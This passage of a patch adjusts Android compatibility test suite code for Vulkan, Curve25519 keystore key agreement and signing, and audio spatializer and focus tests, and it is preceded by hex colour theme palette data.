+ <expressive>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e992ae,cb7793,ac5e78,904761,732f49,581933,3c031e,000000,ffffff,f2fff6,d0fbe1,c2ecd3,a7d0b8,8cb49d,729983,587e6a,406653,284e3c,103727,002113,000000,ffffff,fafcff,e4f2ff,c7e7ff,9ccdf0,81b1d3,6696b8,4b7b9c,316383,134b6a,00344e,001e2f,000000,ffffff,fafeef,eff2e4,e1e4d6,c4c8bb,a8ad9f,8e9286,73786b,5b6055,44483e,2d3228,181d14,000000,ffffff,f9ffea,ebf4dd,dde5cf,c1cab4,a6ae9a,8b9380,707966,59614f,424939,2b3324,171e10,000000</expressive>
<rainbow>ffffff,fdffd7,eaf99a,daec7b,becf61,a2b449,889931,6e7d16,566500,404c00,2b3400,181e00,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,f0fffa,cbfbed,bdeddf,a1d0c3,87b4a8,6d9a8e,527e73,3b665c,224e45,05372f,002019,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,fffbf9,ffeedc,ffddb6,ffb85d,e69c38,c7821d,a76800,875300,663d00,482a00,2b1700,000000,ffffff,fffbf9,ffeedc,ffddb6,f8bb71,daa059,bc8641,9e6b2a,825414,663d00,482a00,2b1700,000000,ffffff,fcffd5,ebf8a4,ddea96,c1cd7d,a5b264,8b974d,707c35,596320,414b08,2b3400,181e00,000000,ffffff,fdfee7,f2f2dd,e3e4ce,c7c8b3,abad99,919280,767766,5e604f,464839,2f3223,1a1d0f,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000</fruit_salad>
</theme>
<theme color="ff008772">
<spritz>ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000,ffffff,f4fefa,e9f3ef,dae5e0,bec9c4,a3ada9,88938f,6e7875,57615d,3f4945,29322f,141d1b,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fdfcfb,f2f1ef,e3e2e1,c7c7c5,ababaa,90918f,767675,5e5e5d,464746,2f3130,1a1c1b,000000,ffffff,fdfcfb,f2f1ef,e3e2e1,c7c7c5,ababaa,90918f,767675,5e5e5d,464746,2f3130,1a1c1b,000000</spritz>
<tonal_spot>ffffff,f0fffa,b3ffec,a1f2dd,85d5c1,69baa6,4e9e8c,308372,086b5a,005143,00382d,002019,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fafcff,e4f3ff,c6e7ff,aacae3,8fafc8,7594ac,5a7a90,426278,2a4a5f,103447,001e2f,000000,ffffff,fafdfa,eff1ef,e0e3e0,c4c7c5,a8aca9,8e918f,737775,5c5f5d,444846,2e3130,191c1b,000000,ffffff,f4fefa,e9f3ef,dae5e0,bec9c4,a3ada9,88938f,6e7875,57615d,3f4945,29322f,141d1b,000000</tonal_spot>
- <vibrant>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,fdffd8,eef6be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,181e00,000000,ffffff,fdffd8,ecf7ad,dee9a0,c1cd86,a6b16e,8c9656,717b3e,5a6329,424b12,2b3400,181e00,000000,ffffff,f1fffa,e5f4ee,d7e6e0,bbcac4,a0aea9,86948e,6c7974,54615d,3d4945,26332f,111e1a,000000,ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000</vibrant>
- <expressive>ffffff,fffbfa,ffede0,ffdcc0,ffb778,e69a59,c78041,a86729,8b5013,6e3900,4d2600,2f1500,000000,ffffff,f6ffe9,def9cd,d0eabf,b5cea5,99b38b,7f9872,657d59,4e6543,374c2d,213618,0c2006,000000,ffffff,f6ffe9,d5fcc1,c7eeb3,acd199,92b580,789a67,5e7f4e,466738,304e23,1a370f,042100,000000,ffffff,f4fffd,e9f3f1,dae5e3,bec9c7,a3adac,889391,6e7877,566060,3f4848,293232,141d1d,000000,ffffff,effffe,e2f5f3,d4e6e5,b8cac9,9dafad,829493,687978,506260,394a48,233333,0e1e1e,000000</expressive>
+ <vibrant>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,effffd,cafaf5,bbece7,a0cfcb,85b4af,6b9995,517e7a,396662,1f4e4a,013734,00201e,000000,ffffff,efffff,befbff,a8eef5,8dd2d8,71b6bd,569ba1,398086,1a686e,004f54,00363a,002022,000000,ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000,ffffff,f0fffa,dff6ed,d1e7df,b5ccc4,9ab0a8,80958e,657b74,4e635c,364b45,21342f,0b1f1b,000000</vibrant>
+ <expressive>ffffff,fffbfa,ffede0,ffdcc0,ffb778,e69a59,c78041,a86729,8b5013,6e3900,4d2600,2f1500,000000,ffffff,f8fdff,dcf5ff,c0e9fa,a4cddd,8ab1c2,6f96a6,547c8b,3c6472,234c5a,063543,001f29,000000,ffffff,fffbfe,f6edff,eaddff,cfbef7,b2a3da,9788be,7d6ea2,645788,4c3f6f,352857,201241,000000,ffffff,f4fffd,e9f3f1,dae5e3,bec9c7,a3adac,889391,6e7877,566060,3f4848,293232,141d1d,000000,ffffff,effffe,e2f5f3,d4e6e5,b8cac9,9dafad,829493,687978,506260,394a48,233333,0e1e1e,000000</expressive>
<rainbow>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fafcff,e4f3ff,c6e7ff,aacae3,8fafc8,7594ac,5a7a90,426278,2a4a5f,103447,001e2f,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,f9ffe1,ddfca5,c9ef88,aed36f,93b757,799c3e,608026,48680d,334f00,213600,121f00,000000,ffffff,f9ffe1,dffbad,d1eca0,b5d086,9ab46e,809956,667e3e,4f6628,384d13,233600,121f00,000000,ffffff,f0fffa,b3ffec,a1f2dd,85d5c1,69baa6,4e9e8c,308372,086b5a,005143,00382d,002019,000000,ffffff,f1fffa,e5f4ee,d7e6e0,bbcac4,a0aea9,86948e,6c7974,54615d,3d4945,26332f,111e1a,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000</fruit_salad>
</theme>
<theme color="ff007fb6">
<spritz>ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000,ffffff,fafcff,ecf1f9,dee3ea,c2c7ce,a6acb2,8b9198,70777d,595f65,41474d,2b3137,171c21,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fefcfc,f2f0f1,e4e2e3,c7c6c7,acabab,919192,767677,5e5e5f,464748,303031,1b1b1c,000000,ffffff,fefcfc,f2f0f1,e4e2e3,c7c6c7,acabab,919192,767677,5e5e5f,464748,303031,1b1b1c,000000</spritz>
<tonal_spot>ffffff,fafcff,e4f2ff,c7e6ff,94cdf7,79b1da,5e97be,417ca2,256489,004b6f,00344f,001e30,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fffbfd,f7edff,ebdcff,cfc0e9,b2a5cc,978bb0,7c7095,64597b,4c4163,352b4a,201634,000000,ffffff,fbfcff,f0f0f3,e2e2e5,c6c6c9,aaabae,909194,757679,5c5e61,454749,2f3032,191c1e,000000,ffffff,fafcff,ecf1f9,dee3ea,c2c7ce,a6acb2,8b9198,70777d,595f65,41474d,2b3137,171c21,000000</tonal_spot>
- <vibrant>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,f0fffb,cbfaee,bdece1,a1d0c4,87b4aa,6c9a8f,527e75,3a665d,214e46,043730,00201a,000000,ffffff,f0fffb,b8feee,aaf0e1,8ed4c4,73b8a9,589d8f,3c8275,21695d,005045,00382f,00201a,000000,ffffff,fafcff,e9f1fb,dbe4ed,bfc8d1,a4acb5,89919a,6e777f,576067,3f484f,293138,141c23,000000,ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000</vibrant>
- <expressive>ffffff,fcffd8,e8fa9c,d9eb8f,bdcf76,a3b35d,889846,6e7c2e,566417,3f4c00,2a3500,171e00,000000,ffffff,efffff,cafafc,bcebee,a0cfd1,85b3b6,6b989b,507d80,386568,1e4d50,003739,002022,000000,ffffff,efffff,b9fcff,a8eff3,8cd2d7,71b6bb,559ca0,388085,1a686d,004f53,00373a,002022,000000,ffffff,fdfcff,edf0fa,dfe2eb,c3c7cf,a8abb4,8d9099,72767e,5a5e66,43474e,2d3137,171c22,000000,ffffff,fdfcff,e9f1ff,dbe3f1,bfc7d5,a4acb9,8a919f,6f7783,575f6b,404753,29313b,141c26,000000</expressive>
+ <vibrant>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,fcfcff,e8f1ff,cfe4ff,b1c9e8,96adcc,7b92b0,617894,4a607b,314962,19324a,011d34,000000,ffffff,fdfbff,ecf0ff,d6e2ff,b1c7f9,95abdc,7b90c0,6076a3,485e8a,314671,183059,001a43,000000,ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000,ffffff,fafcff,e4f2ff,d6e4f3,bac8d6,9fadba,84929f,697884,52606c,3a4853,24323c,0e1d27,000000</vibrant>
+ <expressive>ffffff,fcffd8,e8fa9c,d9eb8f,bdcf76,a3b35d,889846,6e7c2e,566417,3f4c00,2a3500,171e00,000000,ffffff,fefbff,f1efff,e2dfff,c4c3ea,a9a7ce,8e8db3,737396,5c5b7d,444364,2d2d4d,191837,000000,ffffff,fffbfa,ffecf0,ffd9e3,fdb2c6,df97ab,c17e91,a36476,874c5f,6c3647,511f31,370b1c,000000,ffffff,fdfcff,edf0fa,dfe2eb,c3c7cf,a8abb4,8d9099,72767e,5a5e66,43474e,2d3137,171c22,000000,ffffff,fdfcff,e9f1ff,dbe3f1,bfc7d5,a4acb9,8a919f,6f7783,575f6b,404753,29313b,141c26,000000</expressive>
<rainbow>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fffbfd,f7edff,ebdcff,cfc0e9,b2a5cc,978bb0,7c7095,64597b,4c4163,352b4a,201634,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,effffd,affff9,71f7ee,4fdbd2,24beb6,00a29a,00847d,006a64,00504b,003733,00201e,000000,ffffff,effffd,affff9,9df1ea,80d5ce,65b9b3,489e98,27837d,006a65,00504b,003734,00201e,000000,ffffff,fafcff,e4f2ff,c7e6ff,94cdf7,79b1da,5e97be,417ca2,256489,004b6f,00344f,001e30,000000,ffffff,fafcff,e9f1fb,dbe4ed,bfc8d1,a4acb5,89919a,6e777f,576067,3f484f,293138,141c23,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000</fruit_salad>
</theme>
<theme color="ff8267c2">
<spritz>ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000,ffffff,fffbfd,f5eefa,e7e0eb,cbc4cf,afa9b4,948f99,79747e,615c66,49454f,322f37,1d1a22,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfd,f4eff1,e6e1e3,cac5c7,aeaaac,939091,787577,605e5f,484648,313031,1c1b1d,000000,ffffff,fffbfd,f4eff1,e6e1e3,cac5c7,aeaaac,939091,787577,605e5f,484648,313031,1c1b1d,000000</spritz>
<tonal_spot>ffffff,fffbfd,f7edff,ebddff,d1bcfe,b5a1e1,9987c4,7e6da8,66558e,4d3d75,37265d,211047,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfa,ffecf0,ffd8e3,f0b7c7,d29dab,b68391,986976,7e525f,633b48,4a2531,31101c,000000,ffffff,fffbfd,f5eff4,e6e1e5,c9c5c9,aeaaae,939094,787579,605d62,484649,313033,1c1b1e,000000,ffffff,fffbfd,f5eefa,e7e0eb,cbc4cf,afa9b4,948f99,79747e,615c66,49454f,322f37,1d1a22,000000</tonal_spot>
- <vibrant>ffffff,fffbfd,f7edff,ebddff,d2bcff,b89bfb,9d81de,8166c1,694ea7,51358d,391c76,22005c,000000,ffffff,fafcff,e4f2ff,c7e6ff,abcbe4,90afc8,7694ad,5b7991,436278,2b4a5f,123348,001e30,000000,ffffff,fafcff,e4f2ff,c7e6ff,9dccf0,82b0d4,6796b8,4c7b9c,336383,154b6a,00344f,001e30,000000,ffffff,fffbfd,f5eefd,e7e0ee,cbc3d2,afa8b6,948e9c,797480,615c69,494550,322f3a,1d1a24,000000,ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000</vibrant>
- <expressive>ffffff,f0fffa,b5ffee,95f4de,78d8c2,5bbca7,3ea08d,168572,006b5a,005144,00382e,00201a,000000,ffffff,fdfcff,ebf1ff,d4e3ff,b6c7ea,9aaccd,8092b1,657795,4e5f7c,364764,1f314c,071c36,000000,ffffff,fdfcff,ebf1ff,d4e3ff,acc7f8,92acdb,7792bf,5c77a3,455f8a,2c4770,123158,001b3d,000000,ffffff,fffbfb,f8eef8,eadfea,cdc4ce,b2a8b3,968e98,7b747d,645c65,4b454d,342f37,1f1a21,000000,ffffff,fffbfb,fbecfd,ecdeef,d0c2d3,b4a7b7,998d9c,7e7282,655b69,4d4451,362d3b,201925,000000</expressive>
+ <vibrant>ffffff,fffbfd,f7edff,ebddff,d2bcff,b89bfb,9d81de,8166c1,694ea7,51358d,391c76,22005c,000000,ffffff,fffbfb,fbebff,f3daff,d6bee5,baa3c9,9e89ad,836e91,6a5778,514060,3a2a48,241532,000000,ffffff,fffbfb,ffeaff,ffd6ff,e5b8e9,c89dcd,ac83b1,906996,77517c,5d3a63,45234b,2e0d35,000000,ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000,ffffff,fffbfd,f7edff,e8dff5,cbc3d8,b0a8bc,958ea1,797386,625b6e,494455,332e3e,1e1928,000000</vibrant>
+ <expressive>ffffff,f0fffa,b5ffee,95f4de,78d8c2,5bbca7,3ea08d,168572,006b5a,005144,00382e,00201a,000000,ffffff,fffbfa,ffebf5,ffd7ed,e9b9d2,cc9eb8,af849c,926a81,795369,5f3c51,46263a,2e1124,000000,ffffff,fffbfa,ffeddf,ffdcbf,fab982,dc9e69,be8452,9f6a3a,845325,683d0f,4d2700,2e1500,000000,ffffff,fffbfb,f8eef8,eadfea,cdc4ce,b2a8b3,968e98,7b747d,645c65,4b454d,342f37,1f1a21,000000,ffffff,fffbfb,fbecfd,ecdeef,d0c2d3,b4a7b7,998d9c,7e7282,655b69,4d4451,362d3b,201925,000000</expressive>
<rainbow>ffffff,fffbfd,f7edff,ebddff,d2bcff,b79df7,9c82da,8167be,684fa3,503789,391d72,22005c,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfa,ffecf0,ffd8e3,f0b7c7,d29dab,b68391,986976,7e525f,633b48,4a2531,31101c,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,fcfcff,e8f2ff,cee5ff,97cbff,68b1f4,4a96d8,277bbb,00629f,004a7a,003355,001d35,000000,ffffff,fcfcff,e8f2ff,cee5ff,9dcbfb,82afdf,6795c2,4b7aa6,31628d,124a73,003355,001d35,000000,ffffff,fffbfd,f7edff,ebddff,d1bcfe,b5a1e1,9987c4,7e6da8,66558e,4d3d75,37265d,211047,000000,ffffff,fffbfd,f5eefd,e7e0ee,cbc3d2,afa8b6,948e9c,797480,615c69,494550,322f3a,1d1a24,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000</fruit_salad>
</theme>
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index f86641f..3cfad6e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -249,6 +249,9 @@
@CddTest(requirement = "7.1.4.2")
@Test
public void testVulkanVariantSupport() throws JSONException {
+ if (mVulkanHardwareVersion == null) {
+ return;
+ }
int expectedVariant = 0x0;
int actualVariant = (mVulkanHardwareVersion.version >> 29) & 0x7;
assertEquals(expectedVariant, actualVariant);
diff --git a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
index 30bd40b..8a37b16 100644
--- a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
+++ b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
@@ -30,14 +30,23 @@
import org.junit.runner.RunWith;
import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
-import java.security.ProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.interfaces.EdECPublicKey;
import java.security.spec.ECGenParameterSpec;
+import java.security.spec.InvalidKeySpecException;
import java.security.spec.NamedParameterSpec;
+import java.util.Arrays;
+import java.util.Base64;
+
+import javax.crypto.KeyAgreement;
@RunWith(AndroidJUnit4.class)
public class Curve25519Test {
@@ -52,45 +61,77 @@
@Test
public void x25519KeyAgreementTest() throws NoSuchAlgorithmException, NoSuchProviderException,
- InvalidAlgorithmParameterException {
+ InvalidAlgorithmParameterException, InvalidKeySpecException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
- final String alias = "x25519-alias";
- deleteEntry(alias);
+ // Aliases for both keys.
+ final String firstKeyAlias = "x25519-alias";
+ deleteEntry(firstKeyAlias);
+ final String secondKeyAlias = "x25519-alias-second";
+ deleteEntry(secondKeyAlias);
- KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
- KeyProperties.PURPOSE_AGREE_KEY)
+ // Generate first x25519 key pair.
+ KeyGenParameterSpec firstKeySpec = new KeyGenParameterSpec.Builder(firstKeyAlias,
+ KeyProperties.PURPOSE_AGREE_KEY)
.setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
- kpg.initialize(keySpec);
+ kpg.initialize(firstKeySpec);
+ KeyPair firstKeyPair = kpg.generateKeyPair();
- //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
- try {
- kpg.generateKeyPair();
- fail("Should not be supported yet");
- } catch (ProviderException e) {
- assertThat(e.getMessage()).isEqualTo("Curve XDH not supported yet");
- }
+ // Generate second x25519 key pair.
+ KeyGenParameterSpec secondKeySpec = new KeyGenParameterSpec.Builder(secondKeyAlias,
+ KeyProperties.PURPOSE_AGREE_KEY)
+ .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+ kpg.initialize(secondKeySpec);
+ KeyPair secondKeyPair = kpg.generateKeyPair();
+
+ // Attempt a key agreement with the private key from the first key pair and the public
+ // key from the second key pair.
+ KeyAgreement secondKa = KeyAgreement.getInstance("XDH");
+ secondKa.init(firstKeyPair.getPrivate());
+ secondKa.doPhase(secondKeyPair.getPublic(), true);
+ byte[] secondSecret = secondKa.generateSecret();
+
+ // Attempt a key agreement "the other way around": using the private key from the second
+ // key pair and the public key from the first key pair.
+ KeyAgreement firstKa = KeyAgreement.getInstance("XDH");
+ firstKa.init(secondKeyPair.getPrivate());
+ firstKa.doPhase(firstKeyPair.getPublic(), true);
+ byte[] firstSecret = firstKa.generateSecret();
+
+ // Both secrets being equal means the key agreement was successful.
+ assertThat(Arrays.compare(firstSecret, secondSecret)).isEqualTo(0);
}
@Test
public void ed25519KeyGenerationAndSigningTest()
throws NoSuchAlgorithmException, NoSuchProviderException,
- InvalidAlgorithmParameterException {
+ InvalidAlgorithmParameterException, InvalidKeyException, SignatureException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
final String alias = "ed25519-alias";
deleteEntry(alias);
KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
- .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519")).build();
+ .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519"))
+ .setDigests(KeyProperties.DIGEST_NONE).build();
kpg.initialize(keySpec);
- //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
- try {
- kpg.generateKeyPair();
- fail("Should not be supported yet");
- } catch (ProviderException e) {
- assertThat(e.getMessage()).isEqualTo("Curve 1.3.101.112 not supported yet");
- }
+ KeyPair kp = kpg.generateKeyPair();
+ assertThat(kp.getPublic()).isInstanceOf(EdECPublicKey.class);
+
+ byte[] data = "helloxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".getBytes();
+ Signature signer = Signature.getInstance("Ed25519");
+ signer.initSign(kp.getPrivate());
+ signer.update(data);
+ byte[] sigBytes = signer.sign();
+ assertThat(sigBytes.length).isEqualTo(64);
+ EdECPublicKey publicKey = (EdECPublicKey) kp.getPublic();
+ android.util.Log.i("Curve25519Test", "Manually validate: Payload "
+ + Base64.getEncoder().encodeToString(data) + " encoded key: "
+ + Base64.getEncoder().encodeToString(kp.getPublic().getEncoded())
+ + " signature: " + Base64.getEncoder().encodeToString(sigBytes));
+
+ //TODO: Verify signature over the data when Conscrypt supports validating Ed25519
+ // signatures.
}
@Test
@@ -150,4 +191,4 @@
assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
index c9b107c..2a2028c 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
@@ -237,6 +237,11 @@
* @throws Exception when failing
*/
public void testAudioFocusDelayedByCall() throws Exception {
+ if (hasAutomotiveFeature(getContext())) {
+ Log.i(TAG, "Test testAudioFocusDelayedByCall "
+ + "skipped: not required for Auto platform");
+ return;
+ }
Log.i(TAG, "testAudioFocusDelayedByCall");
final AudioManager am = new AudioManager(getContext());
final HandlerThread handlerThread = new HandlerThread(TAG);
@@ -308,6 +313,11 @@
* @throws Exception when failing
*/
public void testAudioFocusTransientDelayedByCall() throws Exception {
+ if (hasAutomotiveFeature(getContext())) {
+ Log.i(TAG, "Test testAudioFocusTransientDelayedByCall "
+ + "skipped: not required for Auto platform");
+ return;
+ }
Log.i(TAG, "testAudioFocusDelayedByCall");
final AudioManager am = new AudioManager(getContext());
final HandlerThread handlerThread = new HandlerThread(TAG);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
index a2ecbb4..04cbf70 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
+++ b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
@@ -89,6 +89,10 @@
audioProfile: AudioProfile,
expectedCreationSuccess: Boolean
) {
+ if (audioProfile.format == AudioFormat.ENCODING_INVALID) {
+ fail("Found INVALID audio format in audio profile ($audioProfile) " +
+ "when trying to create audio tracks with it!")
+ }
for (audioFormat in audioProfile.getAllAudioFormats()) {
try {
AudioTrack.Builder()
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
index ea56aa5..202f3ef 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
@@ -151,10 +151,6 @@
SecurityException.class,
() -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
listener));
- assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
- SecurityException.class,
- () -> spat.removeOnHeadTrackingModeChangedListener(listener));
-
getInstrumentation().getUiAutomation()
.adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
@@ -175,16 +171,21 @@
List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
Log.i(TAG, "Reported supported head tracking modes:" + supportedModes);
- if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
- && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
- && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+ if (!(supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
+ || supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+ || supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER))) {
// no head tracking is supported, verify it is correctly reported by the API
+ Log.i(TAG, "no headtracking modes supported");
assertEquals("When no head tracking mode supported, list of modes must be empty",
0, supportedModes.size());
- // TODO: to be enforced
- //assertEquals("Invalid mode when no head tracking mode supported",
- // Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
- Log.i(TAG, "no headtracking modes supported, stop test");
+ assertEquals("Invalid mode when no head tracking mode supported",
+ Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+ // verify you can't enable head tracking on a device
+ final AudioDeviceAttributes device = new AudioDeviceAttributes(
+ AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bli");
+ spat.addCompatibleAudioDevice(device);
+ spat.setHeadTrackerEnabled(true, device);
+ assertFalse(spat.isHeadTrackerEnabled(device));
return;
}
int trackingModeToUse;
@@ -390,6 +391,10 @@
Log.i(TAG, "skipping testVirtualizerEnabled, no Spatializer");
return;
}
+ if (!spat.isAvailable()) {
+ Log.i(TAG, "skipping testVirtualizerEnabled, Spatializer not available");
+ return;
+ }
boolean spatEnabled = spat.isEnabled();
final MySpatStateListener stateListener = new MySpatStateListener();
@@ -416,12 +421,15 @@
final MyHeadTrackerAvailable htAvailableListener = new MyHeadTrackerAvailable();
assertThrows("null Executor allowed in addOnHeadTrackerAvailableListener",
- IllegalArgumentException.class,
+ NullPointerException.class,
() -> spat.addOnHeadTrackerAvailableListener(null, htAvailableListener));
assertThrows("null listener allowed in addOnHeadTrackerAvailableListener",
- IllegalArgumentException.class,
+ NullPointerException.class,
() -> spat.addOnHeadTrackerAvailableListener(Executors.newSingleThreadExecutor(),
null));
+ spat.addOnHeadTrackerAvailableListener(
+ Executors.newSingleThreadExecutor(), htAvailableListener);
+
final boolean enabled = spat.isEnabled();
// verify that with spatializer disabled, the head tracker is not available
if (!enabled) {
@@ -450,7 +458,7 @@
stateListener.getEnabled());
}
assertThrows("null listener allowed in removeOnHeadTrackerAvailableListener",
- IllegalArgumentException.class,
+ NullPointerException.class,
